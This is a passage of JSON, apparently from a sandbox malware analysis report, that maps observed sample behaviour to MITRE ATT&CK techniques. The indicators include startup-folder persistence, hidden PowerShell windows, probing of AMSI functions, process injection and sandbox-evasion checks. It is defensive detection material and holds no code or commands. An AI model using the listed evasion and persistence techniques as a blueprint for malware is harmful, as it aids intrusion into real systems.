used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Creates new processes"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Execution","technique":"Visual Basic","attack_id":"T1059.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/005","identifiers":[{"type":"suspicious","value":"Executes a VBS file"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Runs shell commands"},{"type":"informative","value":"Contains ability to executes commands or batch file"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Executes Powershell command strings"},{"type":"informative","value":"Commandline contains PowerShell"},{"type":"informative","value":"Observed Powershell command strings"},{"type":"suspicious","value":"Executes powershell with commandline"},{"type":"informative","value":"Windows Script Host executes Powershell"},{"type":"informative","value":"Command line contains PowerShell"},{"type":"informative","value":"Executes PowerShell with command line"},{"type":"informative","value":"YARA signature match - PowerShell file content"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"Script file shows a combination of malicious behavior"},{"type":"malicious","value":"Sample was identified as malicious by a trusted antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"Writes a file to the startup folder"},{"type":"informative","value":"Creates VBS file in Windows Startup folder"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"suspicious","value":"Writes data to a remote process"},{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Deletes registry keys"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Modifies Software Policy Settings"},{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Modifies proxy settings"},{"type":"informative","value":"Writes registry keys"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Tries to map intranet network resources to internet zone"},{"type":"informative","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"informative","value":"Marks file for deletion"},{"type":"informative","value":"Opens file with deletion access rights"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Renames files"},{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"YARA signature match – Encryption algorithm"},{"type":"informative","value":"Dropped file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"Invokes a process with a long commandline"},{"type":"informative","value":"Calls an API typically used to acquire handle to a key container within a CSP"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Contains CRYPTO related strings"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Defense Evasion","technique":"Double File Extension","attack_id":"T1036.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/007","identifiers":[{"type":"informative","value":"Renames files with double extension (often done by ransomware)"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Calls an API typically used to set the date and time of the file"},{"type":"informative","value":"Calls an API typically used to query local/system time as file time"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"suspicious","value":"Ability to hide a payload in the commandline"},{"type":"informative","value":"Calls an API typically used to decrypt a block of data"},{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Able to decrypt/decode data"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"suspicious","value":"Uses powershell with a windows hidden commandline param"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"suspicious","value":"Contains ability to load binary assembly using powershell"},{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"informative","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access LNK files (Windows shortcut)"},{"type":"informative","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access recent files"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"Contains ability to retrieve list of files and subdirectories"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Tries to access non-existent files (executable)"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Found system commands related strings"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"suspicious","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Able to query system locale information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"malicious","value":"Spawns many processes"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Queries process information"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries sensitive IE security settings"},{"type":"informative","value":"Monitors specific registry key for changes"},{"type":"informative","value":"Found registry location strings in memory"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Able to retrieve system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Discovery","technique":"Internet Connection Discovery","attack_id":"T1016.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1016/001","identifiers":[{"type":"informative","value":"Checks internet connectivity using tracert/ping"},{"type":"informative","value":"Contains ability to check internet connectivity"},{"type":"informative","value":"Able to check internet connectivity using ping command"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"},{"type":"suspicious","value":"Checks network status using ping"},{"type":"informative","value":"Contains ability to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Queries the display settings of system associated file extensions"},{"type":"informative","value":"Calls an API typically used to copy file from one location to another"},{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","identifiers":[{"type":"informative","value":"Drops cabinet archive files"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Calls an API typically to import asymmetric cryptographic keys into a CSP"},{"type":"informative","value":"Calls an API typically used to encrypt a block of data"},{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"informative","value":"Calls an API typically used to communicate with HTTP server"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"suspicious","value":"Spawned process connects to a network"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Drops script files inside temp directory"},{"type":"informative","value":"Contains ability to transfer data using curl"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"suspicious","value":"References URL in command line"},{"type":"informative","value":"Drops script (vb/js) files"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops temp files"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"suspicious","value":"Shows ability to use data encoding technique"},{"type":"informative","value":"Commandline contains long base64 encoded string"},{"type":"suspicious","value":"Command line contains long Base64-encoded string"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Command and Control","technique":"Bidirectional Communication","attack_id":"T1102.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/002","identifiers":[{"type":"informative","value":"Contains ability to upload or download data from a specified domain"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Calls an API typically to import cryptographic keys into a CSP"},{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Contains ability to perform encryption (API string)"},{"type":"informative","value":"Able to access crypto-related API (String)"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Logged script engine calls"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Defense Evasion","technique":"Indicator Blocking","attack_id":"T1562.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/006","identifiers":[{"type":"informative","value":"Modifies process error mode to suppress error dialogs"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Defense Evasion","technique":"Match Legitimate Resource Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"informative","value":"Creates file(s) in System32 or SysWOW64 directory"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Defense Evasion","technique":"Delay Execution","attack_id":"T1678","attack_id_wiki":"https://attack.mitre.org/techniques/T1678","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Defense Evasion","technique":"Command Obfuscation","attack_id":"T1027.010","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/010","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Found strings related to 